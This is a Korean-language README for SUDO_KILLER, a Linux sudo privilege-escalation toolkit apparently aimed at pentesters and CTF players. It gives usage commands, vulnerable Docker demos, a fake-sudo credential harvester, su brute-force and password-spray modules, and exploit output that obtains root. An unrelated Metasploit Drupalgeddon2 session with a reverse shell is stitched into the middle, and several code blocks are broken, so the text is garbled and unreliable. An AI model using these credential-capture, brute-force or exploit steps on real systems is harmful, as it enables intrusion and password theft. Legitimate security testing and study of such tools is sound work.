
Unix 계열 시스템에서 sudo 프로그램의 권한 상승 취약점을 악용하기 위해 설계된 도구입니다. 이 도구는 sudo의 특정 잘못된 구성이나 결함을 이용하여 시스템에서 상승된 권한을 획득하며, 기본적으로 일반 사용자가 루트 사용자로 명령을 실행할 수 있게 합니다.
⭐ GitHub에서 별표를 눌러 지지를 보여주세요!
💡 다크 모드에서 가장 잘 보입니다 :)
SUDO_KILLER 프로젝트는 2023년 SANS Difference Award 오픈소스 도구 부문 결선에 진출했습니다.
SUDO_KILLER는 사이버 보안 실무자(침투 테스터, 보안 감사자, 시스템 관리자, CTF 플레이어, 정보보안 학생)를 대상으로 하는 도구로, Linux 환경에서 권한 상승을 용이하게 합니다. 이 도구는 sudo 규칙의 잘못된 구성, 버전 기반 취약점(CVE 및 기타 취약점), 위험한 바이너리 배포(GTFOBINS) 등 SUDO 사용과 관련된 취약점에 초점을 맞춥니다. 이러한 약점은 ROOT 수준의 권한을 얻거나 다른 사용자로 가장하는 데 악용될 수 있습니다.
SUDO_KILLER는 수동 권한 상승을 위한 잠재적인 명령과 로컬 익스플로잇 카탈로그를 제공합니다. 중요한 점은 자동화된 익스플로잇을 수행하지 않으며, 사용자가 의도된 사용법에 따라 직접 익스플로잇 과정을 수행해야 한다는 것입니다.
다음은 SUDO_KILLER가 수행하는 점검 목록입니다.
[!WARNING] 위 점검 목록은 완전하지 않습니다.
SUDO_KILLER를 시작하려면 git clone을 하거나 zip 파일을 다운로드하면 됩니다. 연습 및/또는 테스트를 원한다면 취약한 테스트 환경(도커 사용)이 있습니다. 도커 설정 및 SUDO_KILLER 실행 방법에 대한 개요를 제공하는 관련 동영상을 참조하세요. 도커 환경에서 여러 시나리오를 설정할 수 있으며, 다양한 잘못된 구성이나 결함을 테스트하는 데 사용할 수 있습니다. 또는 감사할 시스템에서 실행하여 sudo 관련 잘못된 구성 및/또는 결함을 확인할 수 있습니다.```shell ./SUDO_KILLERv.sh -c -a -e -r report.txt -p /tmp
Optional arguments:
</br>-c : CVE 점검 포함
</br>-a : 타사 앱/장치 관련 CVE 포함
</br>-i : extract.sh로부터 가져오기 (오프라인 모드)
</br>-e : sudo 규칙 / sudoers 파일 내보내기 포함
</br>-r : 보고서 이름 (출력 저장)
</br>-p : 내보내기 및 보고서 저장 경로
</br>-s : sudo 점검을 위한 사용자 비밀번호 제공 (현재 사용자의 비밀번호 없이 sudo 규칙에 접근할 수 없는 경우)
</br>-h : 도움말
> [!NOTE]
> -c 인수를 사용할 때 두 가지 유형의 점검이 제공된다는 점에 주목할 만합니다. 하나는 식별된 CVE가 현재 사용 중인 sudo 버전에만 기반하는 것이고, 다른 하나는 요구 사항도 함께 확인하는 것입니다.
> 매우 흔히, sudo 버전이 취약할 수 있지만 성공적인 악용을 위해 일부 전제 조건이 필요할 수 있습니다.
> [!NOTE]
> 비밀번호 제공: sudo -l을 실행하는 데 비밀번호가 필요한 경우, -s 인수로 비밀번호를 제공하지 않으면 스크립트가 작동하지 않습니다.
<a name="docker"></a>
### Docker (Vulnerable testing environment)
<p align="left">
<img width="25%" src="https://raw.githubusercontent.com/TH3xACE/res/main/SK/docker.gif" alt="-dockerlogo"/>
</p>
다양한 Docker 컨테이너가 제공되어 `SUDO_KILLER` 및 취약점을 테스트하고 직접 실험할 수 있는 의도적으로 취약한 환경을 제공합니다.```shell
service docker start
docker pull th3xace/sudo_killer_demo3
docker run --rm -it th3xace/sudo_killer_demo3
(This docker is only to test the CVE-2019-18634 (pwfeedback))
service docker start
docker pull th3xace/sudo_killer_demo2
docker run --user 1000 --rm -it th3xace/sudo_killer_demo2
우리는 간단히 쿠키 캡처를 활성화하고 악성 서버의 IP를 가리키기만 하면 됩니다:
msf5 exploit(multi/http/drupal_drupageddon) > set targeturi /drupal-7.57
targeturi => /drupal-7.57
msf5 exploit(multi/http/drupal_drupageddon) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf5 exploit(multi/http/drupal_drupageddon) > set verbose true
verbose => true
msf5 exploit(multi/http/drupal_drupageddon) > run
[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Drupal targeted version is 7.57
[*] Selected cache attack headers {"Vary":"User-Agent,Accept-Encoding"}
[*] Sending pre-verification ...
[*] Sending malicious curl arguments ...
[*] Sending pre-verification ...
[*] Sending registration form ...
[*] Executing the input method payload ...
[*] Sending pre-verification ...
[*] Command shell session 1 opened (10.0.0.1:4444 -> 172.17.0.2:38182) at 2018-04-20 11:04:11 +0000
id
uid=33(www-data) gid=33(www-data) groups=33(www-data),115(docker)
위 예제에서는 아주 단순한 cmd 셸을 얻었습니다. www-data 사용자로서 Drupalgeddon2 CVE-2018-7600 취약점은 호스트를 장악하기 위해 다른 권한 상승을 필요로 하지 않아야 합니다. 도커 컨테이너가 PHP 아파치 워커를 사용하므로 셸 파라미터를 php로 변경하면 더 나은 PHP meterpreter 세션을 얻을 수 있습니다. OS가 리눅스이므로 더 나은 셸을 얻기 위해 타겟을 Unix In-Memory로 설정할 수도 있습니다.
아래 시나리오에서는 meterpreter 접근 권한을 가진 php 셸을 결과로 얻는 작동하는 익스플로잇을 가정합니다.
1) 첫 번째 시나리오는 직접 공격에 대한 포괄적인 경우로, 공격자가 인터넷을 통해 취약한 호스트에 직접 접근할 수 있는 상황입니다. 이때 사용할 공격 시나리오는 타겟 0 (PHP In-Memory)입니다. 공격자는 MSF 콘솔에서 cmd 셸, php 셸, 또는 다른 유닉스 타겟을 선택할 수 있습니다.
2) 두 번째 시나리오는 reverse-tcp 보호 우회로, 공격자가 방화벽이나 NAT 뒤에 있는 호스트를 공격하여 인터넷에서 직접 서버에 접근할 수 없는 경우입니다. 이 경우 공격 시나리오는 유사하지만, RHOST가 Drupal 백엔드로 HTTP 요청을 적절히 전달하는 프록시 호스트(예: nginx)를 가리킨다는 점이 다릅니다. 따라서 이 경우 공격은 간접적입니다.
MSF로 호스트를 대상화하는 것은 정확히 동일하며 다른 변수는 없어야 합니다.
3) 세 번째 시나리오는 조직이 내부/인트라넷 네트워크에 내부 호스팅된 웹앱으로 영향을 받는 Drupal을 운영하는 경우입니다. 이때 공격자는 내부 불만 직원이거나 이미 경계 장치나 내부 워크스테이션을 침해한 공격자일 수 있습니다.
다음 명령어를 실행하세요:
docker pull knqyf263/drupal:cve-2018-7600 — dockerhub에서 이미지를 가져옵니다 (CVE-2018-7602용 7.58 버전도 있습니다).docker run -d -p 8080:80 knqyf263/drupal:cve-2018-7600 — 컨테이너를 백그라운드 모드로 시작합니다.docker ps로 컨테이너가 0.0.0.0:8080에서 실행 중인지 확인해야 합니다.curl로 테스트:```shell
(This docker is only to test the CVE-2025-32463 (chwoot)) -> Credits to author
$ git clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.git
$ cd CVE-2025-32463_chwoot
$ service docker start $ ./run.sh
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh id woot! uid=0(root) gid=0(root) groups=0(root),1001(pwn)
pwn@f722d9182d1f:~$ ./sudo-chwoot.sh woot!
root@f722d9182d1f:/# id uid=0(root) gid=0(root) groups=0(root),1001(pwn)
## 비밀번호 없이 "sudo -l"을 실행할 수 있는 이유는 무엇인가요?
기본적으로, NOPASSWD 태그가 호스트의 사용자 항목 중 하나라도 적용되어 있으면 비밀번호 없이 "sudo -l"을 실행할 수 있습니다. 이 동작은 verifypw 및 listpw 옵션을 통해 재정의될 수 있습니다.
그러나 이러한 규칙은 현재 사용자에게만 영향을 미치므로, 사용자 가장이 가능한 경우(su 사용)에도 이 사용자로부터 sudo -l을 실행해야 합니다.
때로는 비밀번호 없이 sudo -l에 접근할 수 없더라도 /etc/sudoers 파일을 읽을 수 있습니다.
<a name="scenarios"></a>
## 시나리오
docker(demo3)에서 시나리오를 전환하려면 (서로 다른 시나리오 간의 충돌을 방지하기 위해):```shell
switchScenario <scenario_number>
Available scenarios: 0 to 10
All Scenarios 0 : Conflict might occur!
Scenario 1: [2,3] CVE - Rules
Scenario 2: [4] Excessive permissions
Scenario 2: [5] Excessive permissions (Authentication required)
Scenario 3: [6] User Impersonation
Scenario 4: [7] Common Misconfiguration (Change owner)
Scenario 4: [8,11] Common Misconfiguration (Wildcard)
Scenario 5: [13] Missing scripts from sudo rules
Scenario 6: [17] Dangerous Environment Variables
Scenario 7: [18] Dangerous binaries (gtfobins)
Scenario 8: [19] Recursive Impersonation test
Scenario 9: [20] Environment Path Hijacking
Scenario 10: [21] App Specific sudo vuln/misconfig
Scenario 11: [5] Excessive permissions (Authentication required)
Scenario 12: [16] Backdooring sudo (Credentials Capture)
재생 목록은 여기에서 찾을 수 있습니다: https://www.youtube.com/watch?v=Q8iO9mYrfv8&list=PLQPKPAuCA40FMpMKWZLxQydLe7rPL5bml
[!IMPORTANT] 제공된 Docker에서 테스트를 올바르게 수행하는 방법에 대한 빠른 동영상입니다.
[!WARNING] 아래 동영상 목록은 완전하지 않습니다. 모든 동영상에 접근하려면 재생 목록 링크를 확인하세요.
SUDO_KILLER 버전 3에는 여러 작업을 수행하는 데 사용할 수 있는 도구 목록이 포함되어 있습니다. 스크립트는 SUDO_KILLERv3/SUDO_KILLER/SK-Tools/에 있습니다.
SK-ImperBruteForce-NoPwd.sh: UID 1000부터 시작하여 /etc/passwd의 사용자를 사용하여 가장 무차별 대입을 수행합니다.SK-credHarvest2.sh: 별칭을 통해 가짜 sudo를 만든 다음 실제 sudo로 리디렉션하여 자격 증명 캡처를 수행합니다.SK-app-check.sh: 특정 타사 앱, 장치 또는 프로그래밍 언어와 관련된 sudo 취약점을 확인합니다. (아직 진행 중).SK-ttyInject.sh: TTY pushback을 악용하여 root가 제어된 사용자에서 su -를 사용할 경우 임의 명령이 실행되도록 합니다.SK-recursive-impersonate.sh: 기본 깊이 3으로 재귀적 가장을 식별합니다.SK-alias-report.sh: 다양한 기준으로 별칭을 검색합니다.SK-csuid-with-sudo.sh: 사용자 정의 SUID 바이너리를 식별하고 sudo가 전체 경로 없이 실행되는지 확인합니다.SK-Tools의 SK-credHarvest2.sh 스크립트는 별칭을 통해 가짜 sudo를 만든 다음 실제 sudo로 리디렉션하여 자격 증명 캡처를 수행합니다. 실제로는 bash에서만 작동합니다 (현재 ZSH 등에서는 작동/구현되지 않음) 구성된 Linux.
sudo를 사용할 때 자격 증명을 묻는 표시 메시지는 사용 중인 버전에 따라 다릅니다. 두 가지 옵션 중에서 선택할 수 있습니다 (OS 버전에 따라 다름). 표시 메시지 예 (신규 및 구형)
[!TIP] (신규) [sudo] 사용자 비밀번호:
(구형) 비밀번호:
모든 사용자 (auser): 루트 권한이 있거나 사용자 홈에 대한 과도한 권한이 있고 자격 증명을 수집할 쉬운 방법을 원할 때:```shell ./SK-credHarvest2.sh auser <new|old> ; source /home/*/.bashrc
현재 사용자 (cuser):```shell
./SK-credHarvest2.sh cuser <new|old> ; source /home/<currentuser>/.bashrc
[!CAUTION] 자격 증명 수집을 중지하려면: 동일한 인수로 동일한 스크립트를 다시 실행하세요
출력: 로그 /tmp/sk-crds.log에 자격 증명이 포함됩니다
루트 권한, sudoers 백업에 대한 액세스 또는 /etc/sudoers에 대한 읽기 액세스가 필요합니다.```shell Usage: ./SK-alias-sudoers.sh -p <sudoers_path> -k [-u] [-r] [-m] [-c] | [-a] where -u: user | -r: runas | -m: host | -c: command | -a: all
### Bruteforce/Password Spray via su (SK-su-BruteForce.sh)
su를 사용하여 동시성, 타임아웃 및 슬립을 적용한 비밀번호 무차별 대입 및 비밀번호 스프레이를 수행합니다.```shell
Usage: ./SK-su-BruteForce.sh [-h|--help] [-m|--module MODULE] [-u|--user USER|-uf|--userfile USERFILE] [-p|--password PASSWORD|-pf|--pwdfile PASSFILE] [-c|--concurrent CONCURRENT] [-s|--sleep SLEEP] [-t|--timeouts TIMEOUTS]
Module: Password Bruteforce : pwdbf
Example: ./SK-su-BruteForce.sh -m "pwdbf" -u user -pf password.txt -c 5 -s 0.005 -t 0.9
Module: Password Spray : pwdspr
Example: ./SK-su-BruteForce.sh -m pwdspr -uf users.txt -p password -c 5 -s 0.005 -t 0.9
Module: User:Password Bruteforce : usrpwdbf
Example: ./SK-su-BruteForce.sh -m usrpwdbf -uf users-pwd.txt -c 5 -s 0.005 -t 0.9
다음 경로에서 sudoers 백업 파일을 찾습니다: /mnt/ /opt/ /etc/ /etc/ /home/ /app*/ 그리고 인수로 전달된 추가 경로도 찾습니다```shell Usage: ./SK-search-sudoers.sh /tmp/
### 위험한 바이너리 업데이트 - GTFOBINS (SK_dbins_update.sh)
위험한 바이너리를 업데이트하려면 dbins/update로 이동하여 ./SK_dbins_update.sh를 실행하세요. 인터넷 연결이 되어 있는지 확인하세요.```shell
Usage: ./SK_dbins_update.sh
상대 경로를 사용하는 바이너리를 찾아 악용 가능한지 확인합니다! secure_path가 설정되어 있지 않은 경우.```shell sudo -l <..snip..> (root) SETENV: NOPASSWD: /opt/support/purge.sh <..snip..>
Usage: ./SK-relative-path.sh /opt/support/purge.sh
<a name="contribute"></a>
# 기여하기
`SUDO_KILLER`는 오픈소스 프로젝트이며 기여를 매우 환영합니다. 버그 수정, 새로운 기능 제안, 문서 개선 또는 홍보 등 어떤 형태로든 기여해 주시면 감사하겠습니다. 제안, 피드백 또는 기여하고 싶은 사항이 있으면 트위터나 링크드인으로 연락해 주세요. 풀 리퀘스트를 생성하실 수도 있습니다. 저는 타사 관련 sudo CVE(약 175개의 목록이 있습니다)에 대한 기여를 찾고 있으며 어떤 도움이라도 감사하겠습니다.
- 버그 리포트: `SUDO_KILLER`를 사용하는 동안 오류 메시지가 나타나거나 문제가 발생하면 [버그 리포트](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+bug&template=bug.yaml&title=%F0%9F%90%9B+Bug+Report%3A+)를 생성해 주세요.
- 기능 요청: 개발을 더 쉽고 강력하게 만들어 줄 아이디어나 누락된 기능이 있다면 [기능 요청](https://github.com/TH3xACE/SUDO_KILLER/issues/new?assignees=&labels=type%3A+feature+request&template=feature.yml)을 제출해 주세요.
<a name="stars"></a>
## 시간에 따른 스타 게이저
여러분의 지원에 감사드립니다!
[](https://starchart.cc/TH3xACE/SUDO_KILLER)
<a name="support"></a>
## 지원
<a href="https://www.patreon.com/TH3xACE">
<img src="https://assets.kitploit.com/production/public/readmes/2701/0c68395ad843ce5107774011154103ae8d17d44f3cafc73e6395bdd05da753c7.png" width="160">
</a>
<a name="credits"></a>
## 크레딧
저는 GitHub와 다른 온라인 소스의 자료를 활용하여 독립적으로 스크립트를 작성했습니다. CVE와 관련된 익스플로잇의 제작자/게시자에게도 감사를 표합니다. 익스플로잇 자체와 도구 실행 시 제공되는 노트에서 세부 정보와 참조를 추적할 수 있습니다. 특히 Vincent Puydoyeux에게는 이 도구 개발에 영감을 준 점, Koutto에게는 Docker의 복잡한 부분을 처리하고 도구 기능을 향상시키는 데 귀중한 도움을 준 점에 대해 특별한 인정을 드립니다. 또한 Emilio Pinna(norbemi)와 Andrea Cardaci(cyrus_and)에게 GTFO Bins에 대한 귀중한 기여에 대해 진심으로 감사드립니다. 이는 이 프로젝트 개발에 큰 영향을 미쳤습니다.
<a name="disclaimer"></a>
## 면책 조항
이 스크립트는 교육 목적으로만 사용됩니다. 실행 중인 시스템 소유자의 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(TH3xACE)는 이 프로젝트에서 제공하는 정보 또는 기능의 직간접적 사용으로 인한 손해에 대해 책임을 지지 않습니다. 저자(TH3xACE) 또는 인터넷 제공자는 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 스크립트 사용으로 인한 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)는 저자의 책임이 아님에 동의하는 것입니다.
<a name="license"></a>
## 라이선스
`SUDO_KILLER`는 MIT 라이선스에 따라 라이선스가 부여되며, 사용 시 적절한 크레딧이 요구됩니다. 상업적 사용 시 기부를 고려해 주시기 바랍니다.
SK-su-BruteForce.shsudoSK-search-sudoers.sh: 현재 호스트에서 가능한 sudoers 백업 파일을 식별합니다.